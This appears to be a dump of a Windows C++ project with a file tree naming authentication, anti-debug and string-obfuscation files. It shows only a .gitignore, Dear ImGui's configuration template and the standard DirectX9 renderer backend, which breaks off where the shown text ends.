├── .gitignore ├── ImGui ├── imconfig.h ├── imgui.cpp ├── imgui.h ├── imgui_demo.cpp ├── imgui_draw.cpp ├── imgui_impl_dx9.cpp ├── imgui_impl_dx9.h ├── imgui_impl_win32.cpp ├── imgui_impl_win32.h ├── imgui_internal.h ├── imgui_tables.cpp ├── imgui_widgets.cpp ├── imstb_rectpack.h ├── imstb_textedit.h └── imstb_truetype.h ├── README.md ├── anti_debug.cpp ├── anti_debug.h ├── auth.hpp ├── curl ├── Makefile.am ├── Makefile.in ├── curl.h ├── curlver.h ├── easy.h ├── libcurl.lib ├── mprintf.h ├── multi.h ├── stdcheaders.h ├── system.h ├── typecheck-gcc.h └── urlapi.h ├── example.sln ├── example.vcxproj ├── example.vcxproj.filters ├── example.vcxproj.user ├── libcurl.lib ├── library_x64.lib ├── library_x86.lib ├── main.cpp ├── skCrpyt.h └── xorstr.hpp /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Compiled Object files 5 | *.slo 6 | *.lo 7 | *.o 8 | *.obj 9 | 10 | # Precompiled Headers 11 | *.gch 12 | *.pch 13 | 14 | # Compiled Dynamic libraries 15 | *.so 16 | *.dylib 17 | *.dll 18 | 19 | # Fortran module files 20 | *.mod 21 | *.smod 22 | 23 | # Compiled Static libraries 24 | *.lai 25 | *.la 26 | *.a 27 | *.lib 28 | 29 | # Executables 30 | *.exe 31 | *.out 32 | *.app 33 | -------------------------------------------------------------------------------- /ImGui/imconfig.h: -------------------------------------------------------------------------------- 1 | //----------------------------------------------------------------------------- 2 | // COMPILE-TIME OPTIONS FOR DEAR IMGUI 3 | // Runtime options (clipboard callbacks, enabling various features, etc.) can generally be set via the ImGuiIO structure. 4 | // You can use ImGui::SetAllocatorFunctions() before calling ImGui::CreateContext() to rewire memory allocation functions. 5 | //----------------------------------------------------------------------------- 6 | // A) You may edit imconfig.h (and not overwrite it when updating Dear ImGui, or maintain a patch/rebased branch with your modifications to it) 7 | // B) or '#define IMGUI_USER_CONFIG "my_imgui_config.h"' in your project and then add directives in your own file without touching this template. 8 | //----------------------------------------------------------------------------- 9 | // You need to make sure that configuration settings are defined consistently _everywhere_ Dear ImGui is used, which include the imgui*.cpp 10 | // files but also _any_ of your code that uses Dear ImGui. This is because some compile-time options have an affect on data structures. 11 | // Defining those options in imconfig.h will ensure every compilation unit gets to see the same data structure layouts. 12 | // Call IMGUI_CHECKVERSION() from your .cpp files to verify that the data structures your files are using are matching the ones imgui.cpp is using. 13 | //----------------------------------------------------------------------------- 14 | 15 | #pragma once 16 | 17 | //---- Define assertion handler. Defaults to calling assert(). 18 | // If your macro uses multiple statements, make sure is enclosed in a 'do { .. } while (0)' block so it can be used as a single statement. 19 | //#define IM_ASSERT(_EXPR) MyAssert(_EXPR) 20 | //#define IM_ASSERT(_EXPR) ((void)(_EXPR)) // Disable asserts 21 | 22 | //---- Define attributes of all API symbols declarations, e.g. for DLL under Windows 23 | // Using dear imgui via a shared library is not recommended, because of function call overhead and because we don't guarantee backward nor forward ABI compatibility. 24 | //#define IMGUI_API __declspec( dllexport ) 25 | //#define IMGUI_API __declspec( dllimport ) 26 | 27 | //---- Don't define obsolete functions/enums/behaviors. Consider enabling from time to time after updating to avoid using soon-to-be obsolete function/names. 28 | //#define IMGUI_DISABLE_OBSOLETE_FUNCTIONS 29 | 30 | //---- Disable all of Dear ImGui or don't implement standard windows. 31 | // It is very strongly recommended to NOT disable the demo windows during development. Please read comments in imgui_demo.cpp. 32 | //#define IMGUI_DISABLE // Disable everything: all headers and source files will be empty. 33 | //#define IMGUI_DISABLE_DEMO_WINDOWS // Disable demo windows: ShowDemoWindow()/ShowStyleEditor() will be empty. Not recommended. 34 | //#define IMGUI_DISABLE_METRICS_WINDOW // Disable debug/metrics window: ShowMetricsWindow() will be empty. 35 | 36 | //---- Don't implement some functions to reduce linkage requirements. 37 | //#define IMGUI_DISABLE_WIN32_DEFAULT_CLIPBOARD_FUNCTIONS // [Win32] Don't implement default clipboard handler. Won't use and link with OpenClipboard/GetClipboardData/CloseClipboard etc. 38 | //#define IMGUI_DISABLE_WIN32_DEFAULT_IME_FUNCTIONS // [Win32] Don't implement default IME handler. Won't use and link with ImmGetContext/ImmSetCompositionWindow. 39 | //#define IMGUI_DISABLE_WIN32_FUNCTIONS // [Win32] Won't use and link with any Win32 function (clipboard, ime). 40 | //#define IMGUI_ENABLE_OSX_DEFAULT_CLIPBOARD_FUNCTIONS // [OSX] Implement default OSX clipboard handler (need to link with '-framework ApplicationServices', this is why this is not the default). 41 | //#define IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS // Don't implement ImFormatString/ImFormatStringV so you can implement them yourself (e.g. if you don't want to link with vsnprintf) 42 | //#define IMGUI_DISABLE_DEFAULT_MATH_FUNCTIONS // Don't implement ImFabs/ImSqrt/ImPow/ImFmod/ImCos/ImSin/ImAcos/ImAtan2 so you can implement them yourself. 43 | //#define IMGUI_DISABLE_DEFAULT_FILE_FUNCTIONS // Don't implement ImFileOpen/ImFileClose/ImFileRead/ImFileWrite so you can implement them yourself if you don't want to link with fopen/fclose/fread/fwrite. This will also disable the LogToTTY() function. 44 | //#define IMGUI_DISABLE_DEFAULT_ALLOCATORS // Don't implement default allocators calling malloc()/free() to avoid linking with them. You will need to call ImGui::SetAllocatorFunctions(). 45 | 46 | //---- Include imgui_user.h at the end of imgui.h as a convenience 47 | //#define IMGUI_INCLUDE_IMGUI_USER_H 48 | 49 | //---- Pack colors to BGRA8 instead of RGBA8 (to avoid converting from one to another) 50 | //#define IMGUI_USE_BGRA_PACKED_COLOR 51 | 52 | //---- Use 32-bit for ImWchar (default is 16-bit) to support unicode planes 1-16. (e.g. point beyond 0xFFFF like emoticons, dingbats, symbols, shapes, ancient languages, etc...) 53 | //#define IMGUI_USE_WCHAR32 54 | 55 | //---- Avoid multiple STB libraries implementations, or redefine path/filenames to prioritize another version 56 | // By default the embedded implementations are declared static and not available outside of imgui cpp files. 57 | //#define IMGUI_STB_TRUETYPE_FILENAME "my_folder/stb_truetype.h" 58 | //#define IMGUI_STB_RECT_PACK_FILENAME "my_folder/stb_rect_pack.h" 59 | //#define IMGUI_DISABLE_STB_TRUETYPE_IMPLEMENTATION 60 | //#define IMGUI_DISABLE_STB_RECT_PACK_IMPLEMENTATION 61 | 62 | //---- Unless IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS is defined, use the much faster STB sprintf library implementation of vsnprintf instead of the one from the default C library. 63 | // Note that stb_sprintf.h is meant to be provided by the user and available in the include path at compile time. Also, the compatibility checks of the arguments and formats done by clang and GCC will be disabled in order to support the extra formats provided by STB sprintf. 64 | // #define IMGUI_USE_STB_SPRINTF 65 | 66 | //---- Define constructor and implicit cast operators to convert back<>forth between your math types and ImVec2/ImVec4. 67 | // This will be inlined as part of ImVec2 and ImVec4 class declarations. 68 | /* 69 | #define IM_VEC2_CLASS_EXTRA \ 70 | ImVec2(const MyVec2& f) { x = f.x; y = f.y; } \ 71 | operator MyVec2() const { return MyVec2(x,y); } 72 | 73 | #define IM_VEC4_CLASS_EXTRA \ 74 | ImVec4(const MyVec4& f) { x = f.x; y = f.y; z = f.z; w = f.w; } \ 75 | operator MyVec4() const { return MyVec4(x,y,z,w); } 76 | */ 77 | 78 | //---- Use 32-bit vertex indices (default is 16-bit) is one way to allow large meshes with more than 64K vertices. 79 | // Your renderer backend will need to support it (most example renderer backends support both 16/32-bit indices). 80 | // Another way to allow large meshes while keeping 16-bit indices is to handle ImDrawCmd::VtxOffset in your renderer. 81 | // Read about ImGuiBackendFlags_RendererHasVtxOffset for details. 82 | //#define ImDrawIdx unsigned int 83 | 84 | //---- Override ImDrawCallback signature (will need to modify renderer backends accordingly) 85 | //struct ImDrawList; 86 | //struct ImDrawCmd; 87 | //typedef void (*MyImDrawCallback)(const ImDrawList* draw_list, const ImDrawCmd* cmd, void* my_renderer_user_data); 88 | //#define ImDrawCallback MyImDrawCallback 89 | 90 | //---- Debug Tools: Macro to break in Debugger 91 | // (use 'Metrics->Tools->Item Picker' to pick widgets with the mouse and break into them for easy debugging.) 92 | //#define IM_DEBUG_BREAK IM_ASSERT(0) 93 | //#define IM_DEBUG_BREAK __debugbreak() 94 | 95 | //---- Debug Tools: Have the Item Picker break in the ItemAdd() function instead of ItemHoverable(), 96 | // (which comes earlier in the code, will catch a few extra items, allow picking items other than Hovered one.) 97 | // This adds a small runtime cost which is why it is not enabled by default. 98 | //#define IMGUI_DEBUG_TOOL_ITEM_PICKER_EX 99 | 100 | //---- Debug Tools: Enable slower asserts 101 | //#define IMGUI_DEBUG_PARANOID 102 | 103 | //---- Tip: You can add extra functions within the ImGui:: namespace, here or in your own headers files. 104 | /* 105 | namespace ImGui 106 | { 107 | void MyFunction(const char* name, const MyMatrix44& v); 108 | } 109 | */ 110 | -------------------------------------------------------------------------------- /ImGui/imgui_impl_dx9.cpp: -------------------------------------------------------------------------------- 1 | // dear imgui: Renderer Backend for DirectX9 2 | // This needs to be used along with a Platform Backend (e.g. Win32) 3 | 4 | // Implemented features: 5 | // [X] Renderer: User texture binding. Use 'LPDIRECT3DTEXTURE9' as ImTextureID. Read the FAQ about ImTextureID! 6 | // [X] Renderer: Multi-viewport support. Enable with 'io.ConfigFlags |= ImGuiConfigFlags_ViewportsEnable'. 7 | // [X] Renderer: Support for large meshes (64k+ vertices) with 16-bit indices. 8 | 9 | // You can copy and use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this. 10 | // If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp. 11 | // Read online: https://github.com/ocornut/imgui/tree/master/docs 12 | 13 | // CHANGELOG 14 | // (minor and older changes stripped away, please see git history for details) 15 | // 2021-XX-XX: Platform: Added support for multiple windows via the ImGuiPlatformIO interface. 16 | // 2021-04-23: DirectX9: Explicitly setting up more graphics states to increase compatibility with unusual non-default states. 17 | // 2021-03-18: DirectX9: Calling IDirect3DStateBlock9::Capture() after CreateStateBlock() as a workaround for state restoring issues (see #3857). 18 | // 2021-03-03: DirectX9: Added support for IMGUI_USE_BGRA_PACKED_COLOR in user's imconfig file. 19 | // 2021-02-18: DirectX9: Change blending equation to preserve alpha in output buffer. 20 | // 2019-05-29: DirectX9: Added support for large mesh (64K+ vertices), enable ImGuiBackendFlags_RendererHasVtxOffset flag. 21 | // 2019-04-30: DirectX9: Added support for special ImDrawCallback_ResetRenderState callback to reset render state. 22 | // 2019-03-29: Misc: Fixed erroneous assert in ImGui_ImplDX9_InvalidateDeviceObjects(). 23 | // 2019-01-16: Misc: Disabled fog before drawing UI's. Fixes issue #2288. 24 | // 2018-11-30: Misc: Setting up io.BackendRendererName so it can be displayed in the About Window. 25 | // 2018-06-08: Misc: Extracted imgui_impl_dx9.cpp/.h away from the old combined DX9+Win32 example. 26 | // 2018-06-08: DirectX9: Use draw_data->DisplayPos and draw_data->DisplaySize to setup projection matrix and clipping rectangle. 27 | // 2018-05-07: Render: Saving/restoring Transform because they don't seem to be included in the StateBlock. Setting shading mode to Gouraud. 28 | // 2018-02-16: Misc: Obsoleted the io.RenderDrawListsFn callback and exposed ImGui_ImplDX9_RenderDrawData() in the .h file so you can call it yourself. 29 | // 2018-02-06: Misc: Removed call to ImGui::Shutdown() which is not available from 1.60 WIP, user needs to call CreateContext/DestroyContext themselves. 30 | 31 | #include "imgui.h" 32 | #include "imgui_impl_dx9.h" 33 | 34 | // DirectX 35 | #include 36 | 37 | // DirectX data 38 | static LPDIRECT3DDEVICE9 g_pd3dDevice = NULL; 39 | static LPDIRECT3DVERTEXBUFFER9 g_pVB = NULL; 40 | static LPDIRECT3DINDEXBUFFER9 g_pIB = NULL; 41 | static LPDIRECT3DTEXTURE9 g_FontTexture = NULL; 42 | static int g_VertexBufferSize = 5000, g_IndexBufferSize = 10000; 43 | 44 | struct CUSTOMVERTEX 45 | { 46 | float pos[3]; 47 | D3DCOLOR col; 48 | float uv[2]; 49 | }; 50 | #define D3DFVF_CUSTOMVERTEX (D3DFVF_XYZ|D3DFVF_DIFFUSE|D3DFVF_TEX1) 51 | 52 | #ifdef IMGUI_USE_BGRA_PACKED_COLOR 53 | #define IMGUI_COL_TO_DX9_ARGB(_COL) (_COL) 54 | #else 55 | #define IMGUI_COL_TO_DX9_ARGB(_COL) (((_COL) & 0xFF00FF00) | (((_COL) & 0xFF0000) >> 16) | (((_COL) & 0xFF) << 16)) 56 | #endif 57 | 58 | // Forward Declarations 59 | static void ImGui_ImplDX9_InitPlatformInterface(); 60 | static void ImGui_ImplDX9_ShutdownPlatformInterface(); 61 | static void ImGui_ImplDX9_CreateDeviceObjectsForPlatformWindows(); 62 | static void ImGui_ImplDX9_InvalidateDeviceObjectsForPlatformWindows(); 63 | 64 | static void ImGui_ImplDX9_SetupRenderState(ImDrawData* draw_data) 65 | { 66 | // Setup viewport 67 | D3DVIEWPORT9 vp; 68 | vp.X = vp.Y = 0; 69 | vp.Width = (DWORD)draw_data->DisplaySize.x; 70 | vp.Height = (DWORD)draw_data->DisplaySize.y; 71 | vp.MinZ = 0.0f; 72 | vp.MaxZ = 1.0f; 73 | g_pd3dDevice->SetViewport(&vp); 74 | 75 | // Setup render state: fixed-pipeline, alpha-blending, no face culling, no depth testing, shade mode (for gradient) 76 | g_pd3dDevice->SetPixelShader(NULL); 77 | g_pd3dDevice->SetVertexShader(NULL); 78 | g_pd3dDevice->SetRenderState(D3DRS_FILLMODE, D3DFILL_SOLID); 79 | g_pd3dDevice->SetRenderState(D3DRS_SHADEMODE, D3DSHADE_GOURAUD); 80 | g_pd3dDevice->SetRenderState(D3DRS_ZWRITEENABLE, FALSE); 81 | g_pd3dDevice->SetRenderState(D3DRS_ALPHATESTENABLE, FALSE); 82 | g_pd3dDevice->SetRenderState(D3DRS_CULLMODE, D3DCULL_NONE); 83 | g_pd3dDevice->SetRenderState(D3DRS_ZENABLE, FALSE); 84 | g_pd3dDevice->SetRenderState(D3DRS_ALPHABLENDENABLE, TRUE); 85 | g_pd3dDevice->SetRenderState(D3DRS_BLENDOP, D3DBLENDOP_ADD); 86 | g_pd3dDevice->SetRenderState(D3DRS_SRCBLEND, D3DBLEND_SRCALPHA); 87 | g_pd3dDevice->SetRenderState(D3DRS_DESTBLEND, D3DBLEND_INVSRCALPHA); 88 | g_pd3dDevice->SetRenderState(D3DRS_SEPARATEALPHABLENDENABLE, TRUE); 89 | g_pd3dDevice->SetRenderState(D3DRS_SRCBLENDALPHA, D3DBLEND_ONE); 90 | g_pd3dDevice->SetRenderState(D3DRS_DESTBLENDALPHA, D3DBLEND_INVSRCALPHA); 91 | g_pd3dDevice->SetRenderState(D3DRS_SCISSORTESTENABLE, TRUE); 92 | g_pd3dDevice->SetRenderState(D3DRS_FOGENABLE, FALSE); 93 | g_pd3dDevice->SetRenderState(D3DRS_RANGEFOGENABLE, FALSE); 94 | g_pd3dDevice->SetRenderState(D3DRS_SPECULARENABLE, FALSE); 95 | g_pd3dDevice->SetRenderState(D3DRS_STENCILENABLE, FALSE); 96 | g_pd3dDevice->SetRenderState(D3DRS_CLIPPING, TRUE); 97 | g_pd3dDevice->SetRenderState(D3DRS_LIGHTING, FALSE); 98 | g_pd3dDevice->SetTextureStageState(0, D3DTSS_COLOROP, D3DTOP_MODULATE); 99 | g_pd3dDevice->SetTextureStageState(0, D3DTSS_COLORARG1, D3DTA_TEXTURE); 100 | g_pd3dDevice->SetTextureStageState(0, D3DTSS_COLORARG2, D3DTA_DIFFUSE); 101 | g_pd3dDevice->SetTextureStageState(0, D3DTSS_ALPHAOP, D3DTOP_MODULATE); 102 | g_pd3dDevice->SetTextureStageState(0, D3DTSS_ALPHAARG1, D3DTA_TEXTURE); 103 | g_pd3dDevice->SetTextureStageState(0, D3DTSS_ALPHAARG2, D3DTA_DIFFUSE); 104 | g_pd3dDevice->SetSamplerState(0, D3DSAMP_MINFILTER, D3DTEXF_LINEAR); 105 | g_pd3dDevice->SetSamplerState(0, D3DSAMP_MAGFILTER, D3DTEXF_LINEAR); 106 | 107 | // Setup orthographic projection matrix 108 | // Our visible imgui space lies from draw_data->DisplayPos (top left) to draw_data->DisplayPos+data_data->DisplaySize (bottom right). DisplayPos is (0,0) for single viewport apps. 109 | // Being agnostic of whether or can be used, we aren't relying on D3DXMatrixIdentity()/D3DXMatrixOrthoOffCenterLH() or DirectX::XMMatrixIdentity()/DirectX::XMMatrixOrthographicOffCenterLH() 110 | { 111 | float L = draw_data->DisplayPos.x + 0.5f; 112 | float R = draw_data->DisplayPos.x + draw_data->DisplaySize.x + 0.5f; 113 | float T = draw_data->DisplayPos.y + 0.5f; 114 | float B = draw_data->DisplayPos.y + draw_data->DisplaySize.y + 0.5f; 115 | D3DMATRIX mat_identity = { { { 1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f } } }; 116 | D3DMATRIX mat_projection = 117 | { { { 118 | 2.0f/(R-L), 0.0f, 0.0f, 0.0f, 119 | 0.0f, 2.0f/(T-B), 0.0f, 0.0f, 120 | 0.0f, 0.0f, 0.5f, 0.0f, 121 | (L+R)/(L-R), (T+B)/(B-T), 0.5f, 1.0f 122 | } } }; 123 | g_pd3dDevice->SetTransform(D3DTS_WORLD, &mat_identity); 124 | g_pd3dDevice->SetTransform(D3DTS_VIEW, &mat_identity); 125 | g_pd3dDevice->SetTransform(D3DTS_PROJECTION, &mat_projection); 126 | } 127 | } 128 | 129 | // Render function. 130 | void ImGui_ImplDX9_RenderDrawData(ImDrawData* draw_data) 131 | { 132 | // Avoid rendering when minimized 133 | if (draw_data->DisplaySize.x <= 0.0f || draw_data->DisplaySize.y <= 0.0f) 134 | return; 135 | 136 | // Create and grow buffers if needed 137 | if (!g_pVB || g_VertexBufferSize < draw_data->TotalVtxCount) 138 | { 139 | if (g_pVB) { g_pVB->Release(); g_pVB = NULL; } 140 | g_VertexBufferSize = draw_data->TotalVtxCount + 5000; 141 | if (g_pd3dDevice->CreateVertexBuffer(g_VertexBufferSize * sizeof(CUSTOMVERTEX), D3DUSAGE_DYNAMIC | D3DUSAGE_WRITEONLY, D3DFVF_CUSTOMVERTEX, D3DPOOL_DEFAULT, &g_pVB, NULL) < 0) 142 | return; 143 | } 144 | if (!g_pIB || g_IndexBufferSize < draw_data->TotalIdxCount) 145 | { 146 | if (g_pIB) { g_pIB->Release(); g_pIB = NULL; } 147 | g_IndexBufferSize = draw_data->TotalIdxCount + 10000; 148 | if (g_pd3dDevice->CreateIndexBuffer(g_IndexBufferSize * sizeof(ImDrawIdx), D3DUSAGE_DYNAMIC | D3DUSAGE_WRITEONLY, sizeof(ImDrawIdx) == 2 ? D3DFMT_INDEX16 : D3DFMT_INDEX32, D3DPOOL_DEFAULT, &g_pIB, NULL) < 0) 149 | return; 150 | } 151 | 152 | // Backup the DX9 state 153 | IDirect3DStateBlock9* d3d9_state_block = NULL; 154 | if (g_pd3dDevice->CreateStateBlock(D3DSBT_ALL, &d3d9_state_block) < 0) 155 | return; 156 | if (d3d9_state_block->Capture() < 0) 157 | { 158 | d3d9_state_block->Release(); 159 | return; 160 | } 161 | 162 | // Backup the DX9 transform (DX9 documentation suggests that it is included in the StateBlock but it doesn't appear to) 163 | D3DMATRIX last_world, last_view, last_projection; 164 | g_pd3dDevice->GetTransform(D3DTS_WORLD, &last_world); 165 | g_pd3dDevice->GetTransform(D3DTS_VIEW, &last_view); 166 | g_pd3dDevice->GetTransform(D3DTS_PROJECTION, &last_projection); 167 | 168 | // Copy and convert all vertices into a single contiguous buffer, convert colors to DX9 default format. 169 | // FIXME-OPT: This is a minor waste of resource, the ideal is to use imconfig.h and 170 | // 1) to avoid repacking colors: #define IMGUI_USE_BGRA_PACKED_COLOR 171 | // 2) to avoid repacking vertices: #define IMGUI_OVERRIDE_DRAWVERT_STRUCT_LAYOUT struct ImDrawVert { ImVec2 pos; float z; ImU32 col; ImVec2 uv; } 172 | CUSTOMVERTEX* vtx_dst; 173 | ImDrawIdx* idx_dst; 174 | if (g_pVB->Lock(0, (UINT)(draw_data->TotalVtxCount * sizeof(CUSTOMVERTEX)), (void**)&vtx_dst, D3DLOCK_DISCARD) < 0) 175 | return; 176 | if (g_pIB->Lock(0, (UINT)(draw_data->TotalIdxCount * sizeof(ImDrawIdx)), (void**)&idx_dst, D3DLOCK_DISCARD) < 0) 177 | return; 178 | for (int n = 0; n < draw_data->CmdListsCount; n++) 179 | { 180 | const ImDrawList* cmd_list = draw_data->CmdLists[n]; 181 | const ImDrawVert* vtx_src = cmd_list->VtxBuffer.Data; 182 | for (int i = 0; i < cmd_list->VtxBuffer.Size; i++) 183 | { 184 | vtx_dst->pos[0] = vtx_src->pos.x; 185 | vtx_dst->pos[1] = vtx_src->pos.y; 186 | vtx_dst->pos[2] = 0.0f; 187 | vtx_dst->col = IMGUI_COL_TO_DX9_ARGB(vtx_src->col); 188 | vtx_dst->uv[0] = vtx_src->uv.x; 189 | vtx_dst->uv[1] = vtx_src->uv.y; 190 | vtx_dst++; 191 | vtx_src++; 192 | } 193 | memcpy(idx_dst, cmd_list->IdxBuffer.Data, cmd_list->IdxBuffer.Size * sizeof(ImDrawIdx)); 194 | idx_dst += cmd_list->IdxBuffer.Size; 195 | } 196 | g_pVB->Unlock(); 197 | g_pIB->Unlock(); 198 | g_pd3dDevice->SetStreamSource(0, g_pVB, 0, sizeof(CUSTOMVERTEX)); 199 | g_pd3dDevice->SetIndices(g_pIB); 200 | g_pd3dDevice->SetFVF(D3DFVF_CUSTOMVERTEX); 201 | 202 | // Setup desired DX state 203 | ImGui_ImplDX9_SetupRenderState(draw_data); 204 | 205 | // Render command lists 206 | // (Because we merged all buffers into a single one, we maintain our own offset into them) 207 | int global_vtx_offset = 0; 208 | int global_idx_offset = 0; 209 | ImVec2 clip_off = draw_data->DisplayPos; 210 | for (int n = 0; n < draw_data->CmdListsCount; n++) 211 | { 212 | const ImDrawList* cmd_list = draw_data->CmdLists[n]; 213 | for (int cmd_i = 0; cmd_i < cmd_list->CmdBuffer.Size; cmd_i++) 214 | { 215 | const ImDrawCmd* pcmd = &cmd_list->CmdBuffer[cmd_i]; 216 | if (pcmd->UserCallback != NULL) 217 | { 218 | // User callback, registered via ImDrawList::AddCallback() 219 | // (ImDrawCallback_ResetRenderState is a special callback value used by the user to request the renderer to reset render state.) 220 | if (pcmd->UserCallback == ImDrawCallback_ResetRenderState) 221 | ImGui_ImplDX9_SetupRenderState(draw_data); 222 | else 223 | pcmd->UserCallback(cmd_list, pcmd); 224 | } 225 | else 226 | { 227 | const RECT r = { (LONG)(pcmd->ClipRect.x - clip_off.x), (LONG)(pcmd->ClipRect.y - clip_off.y), (LONG)(pcmd->ClipRect.z - clip_off.x), (LONG)(pcmd->ClipRect.w - clip_off.y) }; 228 | const LPDIRECT3DTEXTURE9 texture = (LPDIRECT3DTEXTURE9)pcmd->TextureId; 229 | g_pd3dDevice->SetTexture(0, texture); 230 | g_pd3dDevice->SetScissorRect(&r); 231 | g_pd3dDevice->DrawIndexedPrimitive(D3DPT_TRIANGLELIST, pcmd->VtxOffset + global_vtx_offset, 0, (UINT)cmd_list->VtxBuffer.Size, pcmd->IdxOffset + global_idx_offset, pcmd->ElemCount / 3); 232 | } 233 | } 234 | global_idx_offset += cmd_list->IdxBuffer.Size; 235 | global_vtx_offset += cmd_list->VtxBuffer.Size; 236 | } 237 | 238 | // When using multi-viewports, it appears that there's an odd logic in DirectX9 which prevent subsequent windows 239 | // from rendering until the first window submits at least one draw call, even once. That's our workaround. (see #2560) 240 | if (global_vtx_offset == 0) 241 | g_pd3dDevice->DrawIndexedPrimitive(D3DPT_TRIANGLELIST, 0, 0, 0, 0, 0); 242 | 243 | // Restore the DX9 transform 244 | g_pd3dDevice->SetTransform(D3DTS_WORLD, &last_world); 245 | g_pd3dDevice->SetTransform(D3DTS_VIEW, &last_view); 246 | g_pd3dDevice->SetTransform(D3DTS_PROJECTION, &last_projection); 247 | 248 | // Restore the DX9 state 249 | d3d9_state_block->Apply(); 250 | d3d9_state_block->Release(); 251 | } 252 | 253 | bool ImGui_ImplDX9_Init(IDirect3DDevice9* device) 254 | { 255 | // Setup backend capabilities flags 256 | ImGuiIO& io = ImGui::GetIO(); 257 | io.BackendRendererName = "imgui_impl_dx9"; 258 | io.BackendFlags |= ImGuiBackendFlags_RendererHasVtxOffset; // We can honor the ImDrawCmd::VtxOffset field, allowing for large meshes. 259 | io.BackendFlags |= ImGuiBackendFlags_RendererHasViewports; // We can create multi-viewports on the Renderer side (optional) 260 | 261 | g_pd3dDevice = device; 262 | g_pd3dDevice->AddRef(); 263 | 264 | if (io.ConfigFlags & ImGuiConfigFlags_ViewportsEnable) 265 | ImGui_ImplDX9_InitPlatformInterface(); 266 | 267 | return true; 268 | } 269 | 270 | void ImGui_ImplDX9_Shutdown() 271 | { 272 | ImGui_ImplDX9_ShutdownPlatformInterface(); 273 | ImGui_ImplDX9_InvalidateDeviceObjects(); 274 | if (g_pd3dDevice) { g_pd3dDevice->Release(); g_pd3dDevice = NULL; } 275 | } 276 | 277 | static bool ImGui_ImplDX9_CreateFontsTexture() 278 | { 279 | // Build texture atlas 280 | ImGuiIO& io = ImGui::GetIO(); 281 | unsigned char* pixels; 282 | int width, height, bytes_per_pixel; 283 | io.Fonts->GetTexDataAsRGBA32(&pixels, &width, &height, &bytes_per_pixel); 284 | 285 | // Convert RGBA32 to BGRA32 (because RGBA32 is not well supported by DX9 devices) 286 | #ifndef IMGUI_USE_BGRA_PACKED_COLOR 287 | if (io.Fonts->TexPixelsUseColors) 288 | { 289 | ImU32* dst_start = (ImU32*)ImGui::MemAlloc(width * height * bytes_per_pixel); 290 | for (ImU32* src = (ImU32*)pixels, *dst = dst_start, *dst_end = dst_start + width * height; dst < dst_end; src++, dst++) 291 | *dst = IMGUI_COL_TO_DX9_ARGB(*src); 292 | pixels = (unsigned char*)dst_start; 293 | } 294 | #endif 295 | 296 | // Upload texture to graphics system 297 | g_FontTexture = NULL; 298 | if (g_pd3dDevice->CreateTexture(width, height, 1, D3DUSAGE_DYNAMIC, D3DFMT_A8R8G8B8, D3DPOOL_DEFAULT, &g_FontTexture, NULL) < 0) 299 | return false; 300 | D3DLOCKED_RECT tex_locked_rect; 301 | if (g_FontTexture->LockRect(0, &tex_locked_rect, NULL, 0) != D3D_OK) 302 | return false; 303 | for (int y = 0; y < height; y++) 304 | memcpy((unsigned char*)tex_locked_rect.pBits + tex_locked_rect.Pitch * y, pixels + (width * bytes_per_pixel) * y, (width * bytes_per_pixel)); 305 | g_FontTexture->UnlockRect(0); 306 | 307 | // Store our identifier 308 | io.Fonts->SetTexID((ImTextureID)g_FontTexture); 309 | 310 | #ifndef IMGUI_USE_BGRA_PACKED_COLOR 311 | if (io.Fonts->TexPixelsUseColors) 312 | ImGui::MemFree(pixels); 313 | #endif 314 | 315 | return true; 316 | } 317 | 318 | bool ImGui_ImplDX9_CreateDeviceObjects() 319 | { 320 | if (!g_pd3dDevice) 321 | return false; 322 | if (!ImGui_ImplDX9_CreateFontsTexture()) 323 | return false; 324 | ImGui_ImplDX9_CreateDeviceObjectsForPlatformWindows(); 325 | return true; 326 | } 327 | 328 | void ImGui_ImplDX9_InvalidateDeviceObjects() 329 | { 330 | if (!g_pd3dDevice) 331 | return; 332 | if (g_pVB) { g_pVB->Release(); g_pVB = NULL; } 333 | if (g_pIB) { g_pIB->Release(); g_pIB = NULL; } 334 | if (g_FontTexture) { g_FontTexture->Release(); g_FontTexture = NULL; ImGui::GetIO().Fonts->SetTexID(NULL); } // We copied g_pFontTextureView to io.Fonts->TexID so let's clear that as well. 335 | ImGui_ImplDX9_InvalidateDeviceObjectsForPlatformWindows(); 336 | } 337 | 338 | void ImGui_ImplDX9_NewFrame() 339 | { 340 | if (!g_FontTexture) 341 | ImGui_ImplDX9_CreateDeviceObjects(); 342 | } 343 | 344 | //-------------------------------------------------------------------------------------------------------- 345 | // MULTI-VIEWPORT / PLATFORM INTERFACE SUPPORT 346 | // This is an _advanced_ and _optional_ feature, allowing the backend to create and handle multiple viewports simultaneously. 347 | // If you are new to dear imgui or creating a new binding for dear imgui, it is recommended that you completely ignore this section first.. 348 | //-------------------------------------------------------------------------------------------------------- 349 | 350 | // Helper structure we store in the void* RenderUserData field of each ImGuiViewport to easily retrieve our backend data. 351 | struct ImGuiViewportDataDx9 352 | { 353 | IDirect3DSwapChain9* SwapChain; 354 | D3DPRESENT_PARAMETERS d3dpp; 355 | 356 | ImGuiViewportDataDx9() { SwapChain = NULL; ZeroMemory(&d3dpp, sizeof(D3DPRESENT_PARAMETERS)); } 357 | ~ImGuiViewportDataDx9() { IM_ASSERT(SwapChain == NULL); } 358 | }; 359 | 360 | static void ImGui_ImplDX9_CreateWindow(ImGuiViewport* viewport) 361 | { 362 | ImGuiViewportDataDx9* data = IM_NEW(ImGuiViewportDataDx9)(); 363 | viewport->RendererUserData = data; 364 | 365 | // PlatformHandleRaw should always be a HWND, whereas PlatformHandle might be a higher-level handle (e.g. GLFWWindow*, SDL_Window*). 366 | // Some backends will leave PlatformHandleRaw NULL, in which case we assume PlatformHandle will contain the HWND. 367 | HWND hwnd = viewport->PlatformHandleRaw ? (HWND)viewport->PlatformHandleRaw : (HWND)viewport->PlatformHandle; 368 | IM_ASSERT(hwnd != 0); 369 | 370 | ZeroMemory(&data->d3dpp, sizeof(D3DPRESENT_PARAMETERS)); 371 | data->d3dpp.Windowed = TRUE; 372 | data->d3dpp.SwapEffect = D3DSWAPEFFECT_DISCARD; 373 | data->d3dpp.BackBufferWidth = (UINT)viewport->Size.x; 374 | 